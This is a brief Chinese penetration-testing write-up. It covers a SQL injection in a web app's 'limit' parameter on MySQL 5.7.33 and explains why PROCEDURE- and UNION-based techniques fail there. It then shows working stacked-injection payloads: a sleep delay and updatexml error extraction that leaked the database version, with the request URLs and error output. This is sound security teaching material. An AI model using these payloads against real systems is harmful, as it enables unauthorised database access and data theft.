005-渗透案例:记一次SQL注入:mysql-5.7-Limit注入

今天遇到个案例,在/queryxxxx?page=1&limit=10'&DONATOR_ID=145539中limit参数存在注入点。

通过单引号爆处SQL语句,如下:

1
2
3
4
5
6
java.sql.SQLException: sql injection violation, syntax error: unclosed str : 
SELECT  
	xxxx 
	FROM `mis_jkxx` WHERE DONATOR_ID = ?  AND CHECK_FLAG != 1
	ORDER BY CHECK_TIME desc
	limit  0 ,10'

通过其他注入点得知数据库版本为 MySQL 5.7.33

mysql 5.7之后版本,limit注入不再支持procedure函数,利用该函数的报错注入不再适用。

即:

1
select * from test limit 0,1 procedure analyse(extractvalue(1, concat(0x1, user())),1);

不可用。

该语句存在Order by,也不适用 union select 联合查询,即:

1
select * from test limit 0,1 union select version();

最后解决办法:

堆叠注入

由于LIMIT 语句必须是 SELECT 语句的最后一条子句,因此可以尝试用分号(;)直接闭合前一句select语句,在后面插入恶意语句,达到SQL注入的效果。

延时-举例:

1
queryxxx?page=1&limit=10;select+sleep(5)--+&DONATOR_ID=145539

闭合limit后,成功触发

1
2
3
4
SELECT  xxx FROM
`mis_jkxx` WHERE DONATOR_ID = ?  AND CHECK_FLAG != 1
ORDER BY CHECK_TIME desc
limit  0 ,10; select+sleep(5)--\r\n

举例-报错:

1
queryxxx?page=1&limit=10;select+(updatexml(1,concat(0x7e,(select+version()),0x7e),1))

闭合limit后,成功触发

1
2
3
4
SELECT  xxx FROM
`mis_jkxx` WHERE DONATOR_ID = ?  AND CHECK_FLAG != 1
ORDER BY CHECK_TIME desc
limit  0 ,10; select+(updatexml(1,concat(0x7e,(select+version()),0x7e),1))\r\n

报错返回

1
Cause: java.sql.SQLException: XPATH syntax error: '~5.7.33~'\n; uncategorized SQLException for SQL []; SQL state [HY000]; error code [1105]; XPATH syntax error: '~5.7.33~'; nested exception is java.sql.SQLException: XPATH syntax error: '~5.7.33~'",
0%